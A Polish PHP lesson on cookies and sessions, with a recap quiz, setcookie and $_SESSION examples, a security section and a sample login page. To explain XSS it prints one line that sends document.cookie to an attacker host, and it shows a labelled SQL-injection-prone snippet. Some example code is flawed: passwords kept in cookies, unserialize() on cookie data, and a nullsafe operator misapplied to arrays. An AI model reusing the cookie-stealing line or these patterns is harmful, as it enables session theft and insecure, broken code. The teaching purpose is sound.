14. PHP – obsługa cookies i sesje


Szybki quiz – przypomnienie poprzedniej lekcji

Lekcja 13: formularze HTML, metody GET i POST, walidacja w PHP, przekierowanie po zapisie.

1. Co wypisze ten kod przy pierwszym wejściu na stronę (zwykłe GET), a co po wysłaniu formularza z polem xp = 50?

$xp = $_POST['xp'] ?? '0';
var_dump($xp);

2. Po wysłaniu formularza $_POST['tytul'] nie istnieje. Gdzie jest błąd?

<form method="post" action="dodaj-zadanie.php">
    <input type="text" id="tytul">
    <button type="submit">Wyślij</button>
</form>

3. Która wersja poprawnie rozpoznaje, że formularz został wysłany?

// a)
if (isset($_POST)) { ... }
// b)
if ($_SERVER['REQUEST_METHOD'] === 'POST') { ... }
// c)
if (count($_GET) > 0) { ... }

4. Użytkownik dodał zadanie, nacisnął F5 i zadanie zapisało się drugi raz. Jak nazywa się wzorzec, który temu zapobiega, i z jakich dwóch instrukcji PHP korzysta?

5. Użytkownik wpisuje w adresie index.php?filtr=WYKONANE. Jaki widok zobaczy i dlaczego zawężamy $filtr do trzech wartości, zanim trafi do match?

6. Formularz ma required oraz min="1" max="100". Dlaczego PHP i tak musi sprawdzić dane? Podaj jeden sposób obejścia walidacji przeglądarki.

7. Dlaczego dodanie zadania wysyłamy metodą POST, a wybór widoku listy — metodą GET?

Odpowiedzi

1. Pierwsze wejście: string(1) "0" — klucza xp w $_POST nie ma, więc ?? daje wartość domyślną. Po wysłaniu: string(2) "50" — nie int, bo z formularza zawsze przychodzą teksty (nawet z pola type="number").

2. Brakuje atrybutu name="tytul". Pole bez name w ogóle nie jest wysyłane; id służy tylko do powiązania z <label for="...">.

3. b). isset($_POST) jest zawsze prawdziwe (tablica istnieje zawsze), a count($_GET) > 0 sprawdza zupełnie co innego — do tego POST może przyjść bez żadnego pola.

4. POST → przekierowanie → GET (PRG, Post/Redirect/Get). Korzysta z header('Location: ...') i exit. Po zapisie ostatnim żądaniem staje się zwykły GET, więc F5 tylko wyświetla stronę.

5. Widok wszystkie. Porównanie jest wrażliwe na wielkość liter, więc WYKONANE nie przechodzi zawężenia. Zawężamy, bo $filtr trafia potem do match (musi trafić na któryś przypadek) i na stronę w linii „Widok: …” — po sprawdzeniu może mieć tylko jedną z trzech znanych wartości.

6. required, min i max to walidacja w przeglądarce — wygoda dla użytkownika, nie ochrona. Można ją ominąć m.in. dopisując novalidate do <form>, usuwając atrybut w F12 albo wysyłając żądanie bez przeglądarki. Dane sprawdza zawsze serwer.

7. GET — gdy tylko czytamy (adres z ?filtr=aktywne można odświeżyć, zapisać w zakładkach, wysłać koledze). POST — gdy coś zmieniamy, żeby odświeżenie ani link w historii nie dodały zadania po raz drugi.


TaskQuest

Dodatek

Cookies i Sesje to mechanizmy, które pozwalają „zapamiętać” użytkownika między kolejnymi żądaniami HTTP.

Typowe zastosowania: – Logowanie – zapamiętanie, że jesteś zalogowany – Koszyk zakupowy – przechowanie wybranych produktów – Preferencje – język interfejsu, motyw jasny/ciemny – Analityka – śledzenie zachowań użytkowników – Personalizacja – dostosowanie treści do użytkownika – Formularze wieloetapowe – przechowanie danych między krokami

Ciasteczka – Cookies

Ciasteczka – Cookies, to krótkie informacje tekstowe, wysyłane przez stronę internetową, które za pośrednictwem przeglądarki zapisywane są na komputerze użytkownika. Ciasteczka wykorzystywane są do zapamiętywania dowolnych danych, które można zakodować w postaci ciągu znaków, dzięki czemu użytkownik nie musi wpisywać tych samych danych za każdym razem, gdy odwiedzi daną stronę WWW  np. login użytkownika, zawartość koszyka, nasze preferencje, ankieta którą już wypełnialiśmy, czy preferowany język na stronie itp.

Gdy posiadamy formularz rejestracji wszystkie dane możemy przechowywać w bazie, ale dzięki ciastkom możemy ominąć ten proces. Wystarczy, że użytkownik raz coś wybierze i jego preferencje zostaną zapisane, do momentu ich zmiany lub usunięcia. Oczywiście należy mieć na uwadze, ze użytkownik wyłączy zapisywanie ciasteczek.

Ciasteczka identyfikują dane komputera i przeglądarki, która korzysta ze strony WWW. W żaden sposób nie są szkodliwe dla naszego sprzętu, nie zmieniają ustawień konfiguracyjnych.

Ciasteczka mogą być odczytane tylko z poziomu domeny, z której pochodzą.

Podsumowując:
– Ciasteczka identyfikują dane komputera i przeglądarki, nie osoby
– Nie są szkodliwe dla sprzętu – to zwykłe pliki tekstowe
– Nie zmieniają ustawień konfiguracyjnych systemu
– Mogą być odczytane tylko z poziomu domeny, z której pochodzą
– Użytkownik może je wyłączyć lub usunąć w ustawieniach przeglądarki

Podstawowe rodzaje ciasteczek

Session Cookies

„Cookies” sesyjne – są to tymczasowe informacje przechowywane w pamięci przeglądarki do momentu zakończenia sesji przeglądarki, czyli do momentu jej zamknięcia.

<?php
// Cookie sesyjne - usuwa się po zamknięciu przeglądarki
setcookie('session_id', 'abc123');
// lub
setcookie('session_id', 'abc123', 0);

Zastosowanie: Tymczasowe dane, które nie muszą być zapamiętane na stałe.

Persistent/Tracking Cookies

„Cookies” stałe, nazywane również „śledzące„cookie” (ang. tracking cookies) – pozostają w pamięci przeglądarki przez dłuższy okres. Czas ten zależy od wyboru, którego można dokonać w ustawieniach przeglądarki. Ten rodzaj cookies zezwala na przekazywanie informacji na serwer za każdym razem, gdy odwiedzana jest dana strona.

<?php
// Cookie ważne przez 7 dni
setcookie('user_preferences', 'dark_mode', time() + (7 * 24 * 60 * 60));

// Cookie ważne przez 30 dni
setcookie('language', 'pl', time() + (30 * 24 * 60 * 60));

// Cookie ważne przez rok
setcookie('remember_me', 'yes', time() + (365 * 24 * 60 * 60));

Zastosowanie: Zapamiętanie preferencji, funkcja „Zapamiętaj mnie”.

Third-party Cookies

„Cookies” podmiotów zewnętrznych – (ang. third parties cookies) – to informacje pochodzące np. z serwerów reklamowych, serwerów firm i dostawców usług (np. wyszukiwania albo map umieszczanych na stronie) współpracujących z właścicielem danej strony internetowej. Ten rodzaj cookie pozwala dostosowywać np. reklamy do preferencji i zwyczajów ich użytkowników.

Przykład: Oglądasz buty w sklepie A, potem widzisz reklamy tych butów na stronie B – to działanie third-party cookies.

Tworzenie ciasteczek

<?php
setcookie(
    string $name,              // Nazwa ciasteczka
    string $value = "",        // Wartość (domyślnie pusta)
    int $expires_or_options,   // Czas wygaśnięcia lub tablica opcji (PHP 7.3+)
    string $path = "",         // Ścieżka (domyślnie: /)
    string $domain = "",       // Domena
    bool $secure = false,      // Tylko HTTPS?
    bool $httponly = false     // Niedostępne dla JavaScript?
);

Ciasteczka są wymieniane przy przesyłaniu nagłówków HTTP, zanim strona WWW zostanie załadowana, po załadowaniu strony wysłanie ciasteczka jest niemożliwe. Należy zatem umiejętnie zaplanować wysyłanie ciasteczek. Kod wysyłający ciasteczko musi znajdować się jako pierwszy, zanim jakakolwiek informacja zostanie przesłana.

<?php
// DOBRZE - setcookie() przed jakimkolwiek outputem
setcookie('username', 'Jan', time() + 3600);
?>
<!DOCTYPE html>
<html>
...

<?php
// ŹLE - po HTML już nie zadziała!
?>
<!DOCTYPE html>
<html>
<?php
setcookie('username', 'Jan', time() + 3600); // Błąd: "Headers already sent"

Wyślemy ciasteczko o nazwie „login” i wartości „JohnSmith” oraz „pass” o wartości „admin”. Ustawimy żywotność ciasteczka na 60 sekund. Do ustawienia ciasteczka wykorzystujemy funkcję setcookie($nazwa, $wartosc, $czas), która posiada wiele argumentów, ale najczęściej wykorzystuje się 3 pierwsze (więcej informacji o setcookie() na stronie dokumentacji)

<?php
// utworzenie ciasteczek
setcookie("login", "JohnSmith", time()+60);
setcookie("pass", "admin", time()+60);
?>

Ciasteczka jako tablice

Jeśli chcesz przypisać wiele wartości do jednego ciasteczka, możesz po prostu złączyć je w tablicę. Na przykład:

<?php
setcookie("logowanie[login]", "JohnSmith", time()+60);
setcookie("logowanie[pass]", "admin", time()+60);

// To utworzy dwa osobne ciasteczka, ale w PHP będą dostępne jako tablica:
// $_COOKIE['logowanie']['login']
// $_COOKIE['logowanie']['pass']

// Sposób 2: Jedno ciasteczko z serializowaną tablicą
$dane = [
'login' => 'JohnSmith',
'pass' => 'admin',
'role' => 'admin'
];

// Opcja A: JSON (zalecane - czytelne i uniwersalne)
setcookie("user_data", json_encode($dane), time() + 3600);

// Odczyt JSON:
if (isset($_COOKIE['user_data'])) {
$userData = json_decode($_COOKIE['user_data'], true);
echo $userData['login']; // JohnSmith
}

// Opcja B: serialize() (tylko PHP)
setcookie("user_data", serialize($dane), time() + 3600);

// Odczyt serialize:
if (isset($_COOKIE['user_data'])) {
$userData = unserialize($_COOKIE['user_data']);
echo $userData['login'];
}
?>

Spowoduje to stworzenie dwóch oddzielnych ciasteczek, mimo, iż „logowanie” będzie teraz pojedynczą tablicą w twoim skrypcie. Jeśli chcesz ustawić tylko jedno ciasteczko z wieloma wartościami, rozważ możliwość użycia przedtem funkcji serialize() lub explode() na wartości.

Licznik w ciasteczkach

Możesz pominąć trzeci parametr (expires) – ciasteczko będzie ważne do zamknięcia przeglądarki (przyjmie wartość 0).

Jeżeli nazwy ciasteczek są takie same, ich wartości zostaną nadpisane (o ile ścieżka lub domena nie są różne).

Przykład: Licznik wizyt w koszyku zakupów

<?php
// Sprawdź czy licznik istnieje
if (isset($_COOKIE['ile'])) {
$ile = $_COOKIE['ile'] + 1; // Zwiększ
} else {
$ile = 1; // Pierwsza wizyta
}

// Zapisz nową wartość (ważność: 1 godzina)
setcookie('ile', $ile, time() + 3600);

echo "Liczba produktów w koszyku: $ile";

Więcej przykładów

<?php
// 1. Ciasteczko na 1 godzinę
setcookie("user_id", "12345", time() + 3600);

// 2. Ciasteczko na 30 dni
setcookie("theme", "dark", time() + (30 * 24 * 60 * 60));

// 3. Ciasteczko sesyjne (do zamknięcia przeglądarki)
setcookie("temp_data", "wartość");
// lub jawnie:
setcookie("temp_data", "wartość", 0);

// 4. Ciasteczko z pełnymi opcjami bezpieczeństwa
setcookie(
    "secure_token",
    "abc123xyz",
    time() + 3600,
    "/",           // Dostępne na całej stronie
    "",            // Dla bieżącej domeny
    true,          // Tylko przez HTTPS
    true           // Niedostępne dla JavaScript (ochrona przed XSS)
);

Odczytywanie ciasteczek

Tworzone ciasteczka są automatycznie zapisywane w tablicy superglobalnej $_COOKIE (analogicznie do poznanych już tablic $_POST i $_GET), którą możemy przeglądać i operować danymi w niej zapisanymi.

<?php
// Sprawdź czy ciasteczko istnieje
if (isset($_COOKIE['login']) && isset($_COOKIE['pass'])) {
echo "Dane logowania kompletne";
echo "Login: " . $_COOKIE['login'];
} else {
echo "Brak ciasteczka z danymi logowania";
}

// Odczyt z wartością domyślną (PHP 7+)
$username = $_COOKIE['username'] ?? 'Gość';

// Bezpieczny odczyt (z walidacją)
$userId = filter_var($_COOKIE['user_id'] ?? 0, FILTER_VALIDATE_INT);

Możemy wyświetlić całą tablicę przy pomocy funkcji print_r:

<?php
echo '<pre>';
print_r($_COOKIE);
echo '</pre>';

/*
Array
(
[login] => JohnSmith
[pass] => admin
[theme] => dark
[PHPSESSID] => abc123def456
)
*/

Usuwanie ciastek

Aby usunąć ciasteczko, należy ustawić dla niego ujemną wartość czasową (czas w przeszłości). Zamiast dodawać do funkcji time() czas przez jaki ma być ważne, po prostu go odejmujemy.

<?php
// Sposób 1: Odejmij czas
setcookie('uzytkownik', "Ala", time() - 3600);

// Sposób 2: Ustaw na 1 (1 stycznia 1970)
setcookie('uzytkownik', '', 1);

// Sposób 3: Pusta wartość i czas w przeszłości
setcookie('uzytkownik', '', time() - 3600);

 Powyższy kod usunie ciastko uzytkownik utworzone w ostatniej godzinie.

Usuń wszystkie ciasteczka:

<?php
foreach ($_COOKIE as $name => $value) {
    setcookie($name, '', time() - 3600, '/');
}

Uwaga: Musisz podać te same parametry (path, domain) co przy tworzeniu, aby poprawnie usunąć cookie.

Przykład: Powitanie użytkownika

W oparciu o mechanizm ciasteczek skrypt wypisuje na stronie komunikaty:

‒ Gdy odwiedzający wejdzie na stronę pierwszy raz zakładane jest ciasteczko z czasem trwania 2 godziny od utworzenia oraz wyświetlany jest w paragrafie, czcionką pogrubioną, komunikat: „Dzień dobry! Strona lotniska używa ciasteczek”

‒ Jeżeli odwiedzający w ciągu 2 godzin od poprzedniego wejścia wejdzie ponownie na stronę wyświetlany jest w paragrafie, czcionką pochyloną, komunikat „Witaj ponownie na stronie lotniska”

<?php
// Sprawdź czy użytkownik był już na stronie
if (isset($_COOKIE['start'])) {
$msg = "<p><i>Witaj ponownie na stronie lotniska</i></p>";
} else {
// Pierwsza wizyta - utwórz cookie na 2 godziny
setcookie('start', 'start', time() + 2 * 60 * 60);
$msg = "<p><b>Dzień dobry! Strona lotniska używa ciasteczek</b></p>";
}
?>
<!DOCTYPE html>
<html lang="pl">
<head>
<meta charset="UTF-8">
<title>Lotnisko</title>
</head>
<body>
<?= $msg ?>

<h1>Witamy na stronie lotniska</h1>
<p>Tutaj znajduje się główna treść strony...</p>
</body>
</html>

Sesje – Session

Sesje lub inaczej kontrola sesji pozwala na zapamiętanie użytkownika, jego preferencji i upoważnień na stronie np. w przypadku korzystania z koszyka zakupów, mechanizmu logowania itp. Przechodzenie pomiędzy stronami nie skutkuje wówczas koniecznością ponownego logowania się na stronie.

Typowe zastosowania:

  • Systemy logowania
  • Koszyki zakupowe
  • Wieloetapowe formularze
  • Gry (zapamiętanie punktów, postępu)
  • Panele administracyjne

Jak działają sesje?

Sesja tworzona jest w postaci unikalnego identyfikatora tzw. SID (Session ID). Taki identyfikator przechowywany jest w pliku cookie po stronie klienta (nazwa: PHPSESSID) lub przekazywany za pomocą adresu URL.

Zmienne przechowywane są po stronie serwera (w plikach lub bazie danych), a użytkownik ma tylko id sesji.

Wszelkie dane jakie chcemy przekazywać pomiędzy stronami zostają zapisane w tablicy superglobalnej $_SESSION.

Krok po kroku:

1. Użytkownik wchodzi na stronę
   └─ session_start()
      └─ PHP generuje SID: "abc123def456..."
         └─ Cookie PHPSESSID = "abc123def456"
            └─ Plik na serwerze: sess_abc123def456
               (zawiera dane $_SESSION)

2. Użytkownik przechodzi na inną stronę
   └─ session_start()
      └─ PHP odczytuje SID z cookie
         └─ Wczytuje dane z pliku sess_abc123def456
            └─ $_SESSION zawiera wszystkie dane

 

Etapy tworzenia sesji

  1. Rozpoczynanie sesji
  2. Tworzenie zmiennych sesyjnych
  3. Praca na zmiennych sesyjnych
  4. Usuwanie zmiennych i niszczenie sesji

 

Rozpoczynanie sesji

Aby rozpocząć sesję lub móc korzystać z danych z istniejącej sesji, na początku każdego skryptu należy wywołać funkcję:

<?php
session_start();

Co robi session_start():

  • Jeżeli SID sesji nie istnieje, zostanie on utworzony
  • Jeżeli SID istnieje, funkcja pobierze wartości wszystkich zmiennych obecnej sesji

Kluczowa zasada: session_start() musi być pierwszą instrukcją w pliku (przed HTML, echo, spacjami).

<?php
session_start();

echo "<pre>";
print_r($_SESSION);
echo "</pre>";

// Na początku tablica będzie pusta:
// Array ( )

// Zobaczymy, że tablica superglobalna SESSION zaistniała

Tworzenie zmiennych sesyjnych

Zmienną sesyjną tworzymy wpisując do tablicy $_SESSION kolejny element np.

$_SESSION[’zm_sesyjna_1′]=”Ja”;

<?php
session_start();

// Utwórz zmienne sesyjne
$_SESSION['zm_sesyjna_1'] = "Ja"; // tworzymy zmienną sesyjną
$_SESSION['user_id'] = 123;
$_SESSION['username'] = "Jan Kowalski";
$_SESSION['is_logged_in'] = true;
$_SESSION['login_time'] = time();

echo "<pre>";
print_r($_SESSION);
echo "</pre>";

/*
Array (
[zm_sesyjna_1] => Ja
[user_id] => 123
[username] => Jan Kowalski
[is_logged_in] => 1
[login_time] => 1735689234
)
*/

Jak długo żyją zmienne sesyjne?

Tak zadeklarowana zmienna będzie pamiętana tak długo, jak jest to ustawione w pliku php.ini (tą wartość można zmieniać ręcznie w pliku):

; After this number of seconds, stored data will be seen as 'garbage' and
; cleaned up by the garbage collection process.
; http://php.net/session.gc-maxlifetime
session.gc_maxlifetime=1440

lub dopóki nie zostanie usunięta ręcznie (jak to zrobić opisałam niżej).

Praca na zmiennych sesyjnych

Zmienne sesyjne stosujemy jak wcześniej omawiane zmienne tablicowe.

Zanim rozpoczniemy używanie zmiennych należy sprawdzić, czy istnieją te zmienne:

<?php
session_start();

// Przypisz zmienną sesyjną do innej zmiennej - tak też można
$zm_s_1 = $_SESSION['zm_sesyjna_1'] = "Ja";

// Sprawdź czy zmienna istnieje
if (isset($zm_s_1)) {
echo "<pre>";
print_r($_SESSION);
echo "</pre>";
} else {
echo "Nie ma zmiennych sesyjnych";
}

// Odczyt z wartością domyślną
$username = $_SESSION['username'] ?? 'Gość';

// Modyfikacja
if (isset($_SESSION['counter'])) {
$_SESSION['counter']++;
} else {
$_SESSION['counter'] = 1;
}

// Dodawanie do tablicy sesyjnej
$_SESSION['cart'][] = ['product_id' => 5, 'name' => 'Laptop'];

Usuwanie zmiennych i niszczenie sesji

W celu usunięcia zmiennej sesyjnej stosujemy:

<?php
session_start();

// Usuń pojedynczą zmienną
unset($_SESSION['zm_sesyjna_1']);

// lub
unset($zm_s_1);

Gdy chcemy usunąć wszystkie zmienne na raz:

<?php
session_start();

// Nadpisz istniejącą tablicę nową pustą tablicą
$_SESSION = array();
// lub krócej:
$_SESSION = [];

Jeżeli sesja nie jest już potrzebna, np. klient wyloguje się z aplikacji, możemy zniszczyć sesję:

<?php
session_start();

// 1. Usuń wszystkie zmienne
$_SESSION = [];

// 2. Usuń cookie z SID
if (isset($_COOKIE[session_name()])) {
    setcookie(session_name(), '', time() - 3600, '/');
}

// 3. Zniszcz sesję na serwerze
session_destroy();

Ważna uwaga o tworzeniu sesji

Podczas pracy z sesjami należy pamiętać, że rekord sesji nie jest tworzony, dopóki zmienna nie zostanie zarejestrowana przy użyciu funkcji session_register() (przestarzałe w nowszych wersjach PHP) lub przez dodanie nowego klucza do tablicy superglobalnej $_SESSION.

Dzieje się tak niezależnie od tego, czy sesja została uruchomiona przy użyciu funkcji session_start().

Przykład:

<?php
session_start();  // Rozpoczęto sesję, ale...

// ... plik sesji na serwerze NIE ZOSTANIE utworzony dopóki nie zapiszesz czegoś:
$_SESSION['cokolwiek'] = 'wartość';  // TERAZ plik sesji się utworzy

Cookies vs Sesje 

 

AspektCookiesSesje
Miejsce przechowywaniaKlient (przeglądarka)Serwer (pliki/baza)
Pojemnośćokoło 4 KBokoło 128 MB (konfigurowalny)
Bezpieczeństwo danychNiskie – widoczne dla użytkownikaWysokie – niewidoczne
Dostęp przez JavaScriptTak (chyba że httponly=true)Nie (tylko PHP)
Czas życiaDo wygaśnięcia lub usunięciaDo zamknięcia przeglądarki lub timeout
WymaganiaUżytkownik musi mieć włączoneWymaga session_start()
Użytkownik możeWyłączyć, zobaczyć, edytować, usunąćTylko pośrednio (usunąć cookie z SID)
SzybkośćSzybkie (lokalne)Wolniejsze (I/O serwera)
Obciążenie serweraBrakŚrednie
ZastosowaniaPreferencje, tracking, „Zapamiętaj mnie”Logowanie, koszyk, dane wrażliwe

Kiedy używać Cookies?

Preferencje użytkownika – język, motyw, rozmiar czcionki
„Nie pokazuj więcej” – zamknięte bannery, popupy
Tracking i analityka – Google Analytics, statystyki
„Zapamiętaj mnie” – automatyczne logowanie po 30 dniach
Dane nielokalne – muszą być dostępne między sesjami

Kiedy używać Sesji?

Logowanie użytkowników – ID, rola, uprawnienia
Koszyki zakupowe – produkty, ilości, ceny
Wieloetapowe formularze – dane między krokami
Dane wrażliwe – nie mogą być widoczne dla użytkownika
Dane tymczasowe – potrzebne tylko podczas przeglądania
Panele administracyjne – uprawnienia, filtry, ustawienia

Połączenie Cookies i Sesji

<?php
session_start();

// Sesja - dla danych wrażliwych (ID, uprawnienia)
$_SESSION['user_id'] = 123;
$_SESSION['role'] = 'admin';

// Cookie - dla preferencji (język, motyw)
setcookie('language', 'pl', time() + (365 * 24 * 60 * 60));
setcookie('theme', 'dark', time() + (365 * 24 * 60 * 60));

// Cookie - dla "Zapamiętaj mnie"
if (isset($_POST['remember_me'])) {
    $token = bin2hex(random_bytes(32));
    setcookie('remember_token', $token, time() + (30 * 24 * 60 * 60), '/', '', true, true);
    
    // Zapisz token w bazie danych powiązany z user_id
    // saveRememberToken($_SESSION['user_id'], $token);
}

Bezpieczeństwo

1. Zabezpieczanie Cookies

Problem: XSS (Cross-Site Scripting)

Jeśli cookie jest dostępne dla JavaScript, atakujący może je ukraść:

// Złośliwy kod JS:
document.location = 'https://attacker.com/steal.php?cookie=' + document.cookie;

Rozwiązanie: httponly flag

<?php
// DOBRZE - cookie tylko przez HTTPS
setcookie(
    'secure_token',
    $token,
    time() + 3600,
    '/',
    '',
    true,   // secure = true (tylko HTTPS)
    true    // httponly = true
);

Problem: Man-in-the-Middle (przechwycenie przy HTTP)

Cookie może zostać przechwycone podczas transmisji przez niezabezpieczone połączenie.

Rozwiązanie: secure flag

<?php
// DOBRZE - cookie tylko przez HTTPS
setcookie(
    'secure_token',
    $token,
    time() + 3600,
    '/',
    '',
    true,   // secure = true (tylko HTTPS)
    true    // httponly = true
);

PHP 7.3+ – tablica opcji:

<?php
setcookie('token', $value, [
    'expires' => time() + 3600,
    'path' => '/',
    'domain' => '',
    'secure' => true,
    'httponly' => true,
    'samesite' => 'Strict'  // Ochrona przed CSRF
]);

SameSite opcje:

  • Strict – cookie nigdy nie jest wysyłane między stronami
  • Lax – cookie wysyłane tylko przy „bezpiecznych” żądaniach (GET)
  • None – cookie zawsze wysyłane (wymaga secure=true)

2. Session Hijacking – kradzież sesji

Problem:

Atakujący kradnie SID (np. przez XSS lub przechwycenie) i podszywa się pod użytkownika.

Rozwiązanie:

<?php
session_start();

// 1. Regeneruj ID sesji po logowaniu
if ($loginSuccess) {
    session_regenerate_id(true);  // Stary SID zostanie usunięty
    $_SESSION['user_id'] = $userId;
}

// 2. Przechowuj i sprawdzaj IP oraz User Agent
if (!isset($_SESSION['user_ip'])) {
    $_SESSION['user_ip'] = $_SERVER['REMOTE_ADDR'];
    $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
} else {
    // Sprawdź czy IP i User Agent się zgadzają
    if ($_SESSION['user_ip'] !== $_SERVER['REMOTE_ADDR'] ||
        $_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT']) {
        // Podejrzana aktywność - wyloguj
        session_destroy();
        die('Sesja została zakończona ze względów bezpieczeństwa');
    }
}

// 3. Przechowuj czas ostatniej aktywności (timeout)
$timeout = 1800; // 30 minut

if (isset($_SESSION['last_activity'])) {
    if (time() - $_SESSION['last_activity'] > $timeout) {
        session_destroy();
        header('Location: login.php?timeout=1');
        exit;
    }
}

$_SESSION['last_activity'] = time();

3. Session Fixation

Problem:

Atakujący ustawia znany mu SID przed logowaniem użytkownika, dzięki czemu po zalogowaniu ma dostęp do sesji.

Rozwiązanie:

 

<?php
session_start();

// ZAWSZE regeneruj ID po logowaniu
if ($loginSuccess) {
    session_regenerate_id(true);  // Ważne: true = usuń stary plik sesji
    $_SESSION['user_id'] = $userId;
    $_SESSION['logged_in'] = true;
}

4. CSRF (Cross-Site Request Forgery)

Problem:

Atakujący zmusza przeglądarkę użytkownika do wykonania niepożądanego żądania.

Rozwiązanie: Token CSRF

<?php
session_start();

// Generuj token przy wyświetlaniu formularza
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
?>

<!-- W formularzu -->
<form method="POST">
    <input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>">
    <!-- ... reszta pól ... -->
</form>

<?php
// Sprawdź token przy odbiorze
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!isset($_POST['csrf_token']) || 
        !hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
        die('Nieprawidłowy token CSRF');
    }
    
    // Przetwórz formularz...
}

Funkcja hash_equals() zapobiega timing attacks.

5. Nigdy nie ufaj danym z Cookies

<?php
// BARDZO ŹLE - SQL Injection!
$userId = $_COOKIE['user_id'];
$query = "SELECT * FROM users WHERE id = $userId";

// ŹLE - brak walidacji
$role = $_COOKIE['role'];
if ($role === 'admin') {
    // Daj dostęp do panelu admina
}

// DOBRZE - walidacja + prepared statements
$userId = filter_var($_COOKIE['user_id'] ?? 0, FILTER_VALIDATE_INT);

if ($userId) {
    $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
    $stmt->execute([$userId]);
    $user = $stmt->fetch();
    
    // Sprawdź rolę z bazy, nie z cookie!
    if ($user && $user['role'] === 'admin') {
        // Daj dostęp
    }
}

PHP 8 – nowości

1. Named arguments w setcookie()

<?php
// PHP 7 i wcześniej - musiałeś podać wszystkie parametry
setcookie('token', $value, time() + 3600, '/', '', true, true);

// PHP 8 - named arguments
setcookie(
    name: 'token',
    value: $value,
    expires_or_options: time() + 3600,
    httponly: true,
    secure: true
);

// Możesz pominąć środkowe parametry
setcookie(
    name: 'theme',
    value: 'dark',
    expires_or_options: time() + (365 * 24 * 60 * 60),
    httponly: true  // Pominęliśmy path, domain, secure
);

2. Match expression (zamiast switch)

<?php
session_start();

// PHP 7 - switch
$role = $_SESSION['role'] ?? 'guest';

switch ($role) {
    case 'admin':
        $permissions = ['read', 'write', 'delete'];
        break;
    case 'editor':
        $permissions = ['read', 'write'];
        break;
    case 'user':
        $permissions = ['read'];
        break;
    default:
        $permissions = [];
}

// PHP 8 - match (zwięzłe i bezpieczniejsze)
$permissions = match($_SESSION['role'] ?? 'guest') {
    'admin' => ['read', 'write', 'delete'],
    'editor' => ['read', 'write'],
    'user' => ['read'],
    default => []
};

3. Nullsafe operator

<?php
session_start();

// PHP 7 - sprawdzanie zagnieżdżonych danych
$city = null;
if (isset($_SESSION['user']) && 
    isset($_SESSION['user']['address']) && 
    isset($_SESSION['user']['address']['city'])) {
    $city = $_SESSION['user']['address']['city'];
}

// PHP 8 - nullsafe operator
$city = $_SESSION['user']?->address?->city ?? 'Nieznane';

4. Union types

<?php
// PHP 8 - funkcja może zwrócić string lub null
function getUserName(): string|null {
    session_start();
    return $_SESSION['username'] ?? null;
}

// Użycie
$name = getUserName() ?? 'Gość';

5. Constructor property promotion

<?php
// PHP 7
class SessionManager {
    private int $timeout;
    private string $savePath;
    
    public function __construct(int $timeout, string $savePath) {
        $this->timeout = $timeout;
        $this->savePath = $savePath;
    }
}

// PHP 8 - zwięźle
class SessionManager {
    public function __construct(
        private int $timeout,
        private string $savePath
    ) {}
}

// Użycie
$manager = new SessionManager(1800, '/tmp/sessions');

Przykłady praktyczne

1. Prosty system logowania

login.php:

<?php
session_start();

// Jeśli już zalogowany, przekieruj
if (isset($_SESSION['user_id'])) {
    header('Location: dashboard.php');
    exit;
}

$error = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = $_POST['username'] ?? '';
    $password = $_POST['password'] ?? '';
    
    // Przykładowa walidacja (w prawdziwej aplikacji: baza danych + hash)
    if ($username === 'admin' && $password === 'password123') {
        // Regeneruj ID sesji (ochrona przed session fixation)
        session_regenerate_id(true);
        
        // Zaloguj użytkownika
        $_SESSION['user_id'] = 1;
        $_SESSION['username'] = $username;
        $_SESSION['login_time'] = time();
        $_SESSION['is_admin'] = true;
        
        // Zapamiętaj IP i User Agent (ochrona przed hijacking)
        $_SESSION['user_ip'] = $_SERVER['REMOTE_ADDR'];
        $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
        
        header('Location: dashboard.php');
        exit;
    } else {
        $error = 'Nieprawidłowy login lub hasło';
    }
}
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Logowanie</title>
    <style>
        body { font-family: Arial; max-width: 400px; margin: 50px auto; }
        input { display: block; width: 100%; padding: 10px; margin: 10px 0; box-sizing: border-box; }
        button { padding: 10px 20px; background: #007bff; color: white; border: none; cursor: pointer; width: 100%; }
        .error { color: red; padding: 10px; background: #fee; border: 1px solid red; margin-bottom: 15px; }
    </style>
</head>
<body>
    <h1>Logowanie</h1>
    
    <?php if ($error): ?>
        <div class="error"><?= htmlspecialchars($error) ?></div>
    <?php endif; ?>
    
    <form method="POST">
        <input type="text" name="username" placeholder="Login" required>
        <input type="password" name="password" placeholder="Hasło" required>
        <button type="submit">Zaloguj</button>
    </form>
    
    <p><small>Dane testowe: admin / password123</small></p>
</body>
</html>

dashboard.php:

<?php
session_start();

// Sprawdź czy użytkownik jest zalogowany
if (!isset($_SESSION['user_id'])) {
    header('Location: login.php');
    exit;
}

// Sprawdź timeout (30 minut bezczynności)
$timeout = 1800;
if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity']) > $timeout) {
    session_destroy();
    header('Location: login.php?timeout=1');
    exit;
}
$_SESSION['last_activity'] = time();

// Sprawdź IP i User Agent (ochrona przed hijacking)
if ($_SESSION['user_ip'] !== $_SERVER['REMOTE_ADDR'] ||
    $_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT']) {
    session_destroy();
    die('Sesja została zakończona ze względów bezpieczeństwa');
}

$username = $_SESSION['username'];
$loginTime = date('Y-m-d H:i:s', $_SESSION['login_time']);
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Panel użytkownika</title>
    <style>
        body { font-family: Arial; max-width: 800px; margin: 50px auto; padding: 20px; }
        .user-info { background: #e7f3ff; padding: 20px; border-radius: 5px; margin-bottom: 20px; }
        a { display: inline-block; padding: 10px 20px; background: #dc3545; color: white; 
            text-decoration: none; border-radius: 5px; }
    </style>
</head>
<body>
    <h1>Panel użytkownika</h1>
    
    <div class="user-info">
        <p>Zalogowany jako: <strong><?= htmlspecialchars($username) ?></strong></p>
        <p>Czas logowania: <?= $loginTime ?></p>
        <p>ID sesji: <?= session_id() ?></p>
    </div>
    
    <p><a href="logout.php">Wyloguj się</a></p>
</body>
</html>

